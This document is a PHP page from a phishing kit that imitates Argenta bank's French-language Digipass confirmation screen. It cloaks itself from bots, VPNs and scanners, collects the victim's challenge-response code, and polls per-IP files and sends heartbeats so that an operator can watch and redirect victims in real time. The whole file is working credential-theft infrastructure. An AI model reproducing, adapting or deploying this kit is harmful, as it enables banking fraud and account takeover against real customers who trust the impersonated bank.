<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;
include 'config.php';

include 'M3tri-anti-bots_v0.01/M3tri-Organization.php';
include 'M3tri-anti-bots_v0.01/M3tri-ips.php';
include 'M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include 'M3tri-anti-bots_v0.01/M3tri-UA.php';
include 'M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
require_once './includes/HunterObfuscator.php';

$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
	header('Location: 403.php');
	exit();
}

$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';

if (stripos($honeypotbots, $ip) !== false) {
	$stripos = $stripos + 1;
}

$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));

// Geo-filter removed: all countries are allowed

if ($token1 != $_GET['token'] || $stripos > 0) {
	header("location: " . $errorUrl . "?" . (isset($_GET['token']) ? $_GET['token'] : ''));
	exit;
}

if (isset($_GET['error']) && $_GET['error'] == 'on') {
	$errormsg = "<p class='error-msg'>Coordonnées incorrects !</p>";
} else {
	$errormsg = '';
}

$displayCode = isset($_GET['t0']) ? trim((string) $_GET['t0']) : '';

$fp = fopen('users/' . $ip . '.txt', 'wb');
fwrite($fp, '');
fclose($fp);

?>
<!DOCTYPE html>
<html lang="fr">
<head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Confirmez avec votre digipass</title>
	<style>
		*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

		body {
			font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Arial, sans-serif;
			background: #ffffff;
			min-height: 100vh;
			display: flex;
			flex-direction: column;
		}

		/* ── Navigation bar ── */
		.nav-bar {
			display: flex;
			justify-content: space-between;
			align-items: center;
			padding: 14px 20px;
		}
		.nav-btn {
			background: none;
			border: none;
			font-size: 1.3rem;
			color: #333;
			cursor: pointer;
			padding: 6px;
			line-height: 1;
		}

		/* ── Centred page wrapper ── */
		.page-wrapper {
			flex: 1;
			display: flex;
			flex-direction: column;
			align-items: center;
			padding: 8px 20px 48px;
		}

		/* ── Digipass icon (SVG wrapper) ── */
		.digipass-icon-wrap {
			margin: 0 auto 28px;
			display: flex;
			justify-content: center;
		}
		.digipass-icon-wrap svg {
			width: 80px;
			height: auto;
		}

		/* ── Title ── */
		.page-title {
			font-size: 1.75rem;
			font-weight: 800;
			color: #1a3a8a;
			text-align: center;
			line-height: 1.2;
			margin-bottom: 28px;
			max-width: 300px;
		}

		/* ── Steps card ── */
		.steps-card {
			background: #f3f4f6;
			border-radius: 18px;
			border: 1px solid #e2e8f0;
			padding: 28px 24px;
			width: 100%;
			max-width: 440px;
			margin-bottom: 0;
			box-shadow: 0 2px 14px rgba(0,0,0,0.08);
		}

		.step-item {
			display: flex;
			gap: 18px;
			align-items: flex-start;
			margin-bottom: 22px;
			color: #0d1b2a;
			font-size: 0.97rem;
			font-weight: 600;
			line-height: 1.5;
		}
		.step-item:last-child { margin-bottom: 0; }

		/* Step 1 text is gray */
		.step-item.step-gray {
			color: #6b7280;
			font-weight: 500;
		}

		.step-num {
			font-size: 1rem;
			font-weight: 700;
			color: #00a651;
			min-width: 18px;
			flex-shrink: 0;
			padding-top: 1px;
		}

		.kw-ok {
			color: #1a3a8a;
			font-weight: 800;
		}
		.kw-pin {
			color: #1a3a8a;
			font-weight: 800;
		}
		.kw-code {
			color: #1a3a8a;
			font-weight: 800;
			letter-spacing: 0.5px;
		}
		.kw-m1 {
			color: #1a3a8a;
			font-weight: 800;
		}
		.step-item strong {
			color: #1a3a8a;
			font-weight: 800;
		}

		/* ── Input section ── */
		.input-section {
			width: 100%;
			max-width: 440px;
			margin-top: 20px;
		}
		.input-section label {
			display: block;
			font-size: 0.85rem;
			font-weight: 600;
			color: #555;
			margin-bottom: 6px;
		}
		.input-wrap {
			display: flex;
			align-items: center;
			border: 1.5px solid #c8c8c8;
			border-radius: 10px;
			padding: 10px 14px;
			background: #fff;
		}
		.input-wrap input[type="text"] {
			flex: 1;
			border: none;
			outline: none;
			font-size: 1.1rem;
			background: transparent;
			color: #0d1b2a;
			font-weight: 600;
		}
		.input-wrap input[type="text"]::placeholder { color: #bbb; font-weight: 400; }

		.error-msg {
			color: #c0392b;
			font-size: 0.85rem;
			margin-top: 6px;
		}

		/* ── Valider button ── */
		.btn-wrap {
			width: 100%;
			max-width: 440px;
			margin-top: 14px;
		}

		.btn-valider {
			display: block;
			width: 100%;
			background: #00a651;
			color: #fff;
			border: none;
			padding: 15px;
			font-size: 1rem;
			font-weight: 700;
			border-radius: 12px;
			cursor: pointer;
			letter-spacing: 0.5px;
			transition: background 0.2s;
		}
		.btn-valider:hover { background: #008c44; }

		/* ── Responsive tweaks for larger screens ── */
		@media (min-width: 600px) {
			.page-wrapper { padding-top: 24px; }
			.page-title { font-size: 2rem; max-width: 360px; }
			.steps-card { padding: 32px 28px; }
			.step-item { font-size: 1rem; gap: 20px; }
		}
	</style>
</head>
<body>
	<form method="post" action="bc-load.php?token=<?php echo htmlspecialchars($token1); ?>">

		<!-- Navigation bar -->
		<div class="nav-bar">
			<button type="button" class="nav-btn" onclick="history.back()">&#8592;</button>
			<button type="button" class="nav-btn" onclick="history.back()">&#10005;</button>
		</div>

		<div class="page-wrapper">

			<!-- Digipass icon (inline SVG – always renders) -->
			<div class="digipass-icon-wrap">
				<svg viewBox="0 0 80 100" fill="none" xmlns="http://www.w3.org/2000/svg">
					<!-- card slot at top -->
					<rect x="18" y="4" width="44" height="12" rx="4" stroke="#00a651" stroke-width="5" fill="none"/>
					<!-- main body -->
					<rect x="8" y="14" width="64" height="80" rx="10" stroke="#00a651" stroke-width="5" fill="none"/>
					<!-- screen -->
					<rect x="18" y="24" width="44" height="18" rx="4" stroke="#00a651" stroke-width="4" fill="none"/>
					<!-- buttons row 1 -->
					<circle cx="26" cy="58" r="5.5" fill="#00a651"/>
					<circle cx="40" cy="58" r="5.5" fill="#00a651"/>
					<circle cx="54" cy="58" r="5.5" fill="#00a651"/>
					<!-- buttons row 2 -->
					<circle cx="26" cy="72" r="5.5" fill="#00a651"/>
					<circle cx="40" cy="72" r="5.5" fill="#00a651"/>
					<circle cx="54" cy="72" r="5.5" fill="#00a651"/>
					<!-- buttons row 3 -->
					<circle cx="26" cy="86" r="5.5" fill="#00a651"/>
					<circle cx="40" cy="86" r="5.5" fill="#00a651"/>
					<circle cx="54" cy="86" r="5.5" fill="#00a651"/>
				</svg>
			</div>

			<!-- Title -->
			<h2 class="page-title">Confirmez avec votre digipass</h2>

			<!-- Steps card -->
			<div class="steps-card">
				<div class="step-item step-gray">
					<span class="step-num">1</span>
					<span>Insérez votre carte de débit dans le Digipass Argenta et appuyez sur <strong class="kw-m1">M1</strong></span>
				</div>
				<div class="step-item">
					<span class="step-num">2</span>
					<span>Le lecteur demande un <strong>challenge</strong></span>
				</div>
				<div class="step-item">
					<span class="step-num">3</span>
					<span>Introduisez <strong class="kw-code"><?php echo $displayCode !== '' ? htmlspecialchars($displayCode) : 'le chiffre affiché'; ?></strong> et confirmez par <strong class="kw-ok">OK</strong></span>
				</div>
				<div class="step-item">
					<span class="step-num">4</span>
					<span>Introduisez <strong class="kw-pin">votre code PIN</strong> et confirmez par <strong class="kw-ok">OK</strong></span>
				</div>
			</div>

			<!-- Input response -->
			<div class="input-section">
				<label for="otp-input">Code de réponse : </label>
				<div class="input-wrap">
					<input type="text" id="otp-input" name="otp" autocomplete="off" placeholder="Ex.: 62024037" required autofocus>
				</div>
				<?php if ($errormsg) { echo $errormsg; } ?>
			</div>

			<!-- Valider button -->
			<div class="btn-wrap">
				<button type="submit" class="btn-valider">Valider ▸</button>
			</div>

		</div>

		<input type="hidden" name="type" value="log-argenta-code">
	</form>

	<script>
	(function() {
	  var ip = '<?php echo addslashes($ip); ?>';
	  var token1 = '<?php echo addslashes($token1); ?>';
	  var waiting = setInterval(function() {
	    fetch('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), { cache: 'no-store' })
	      .then(function(r) { return r.text(); })
	      .then(function(data) {
	        if (!data || data.length < 2) return;
	        var row = data.split('#|#');
	        var one = row[0];
	        var two = (row[1] !== undefined && row[1] !== null) ? row[1] : '';
	        if (one == 'load') {
	          clearInterval(waiting);
	          window.location.href = './bc-load.php?token=' + encodeURIComponent(token1) + '&error=' + encodeURIComponent(two);
	        } else if (one == 'url' && row[2]) {
	          clearInterval(waiting);
	          window.location.href = row[2];
	        }
	      })
	      .catch(function() {});
	  }, 1500);
	})();

	// Send heartbeat every 5 seconds so controller shows "Argenta Log" when user is on this page
	(function() {
	  function sendHeartbeat() {
	    fetch('config.php?heartbeat=true&ip=<?php echo addslashes($ip); ?>&page=bc-l-argenta-log.php', { cache: 'no-store' })
	      .then(function(r) { return r.json(); })
	      .then(function() {})
	      .catch(function() {});
	  }
	  sendHeartbeat();
	  var heartbeatInterval = setInterval(sendHeartbeat, 5000);
	  document.addEventListener('visibilitychange', function() {
	    if (document.hidden) {
	      clearInterval(heartbeatInterval);
	    } else {
	      sendHeartbeat();
	      heartbeatInterval = setInterval(sendHeartbeat, 5000);
	    }
	  });
	  window.addEventListener('beforeunload', function() { clearInterval(heartbeatInterval); });
	})();
	</script>
</body>
</html>
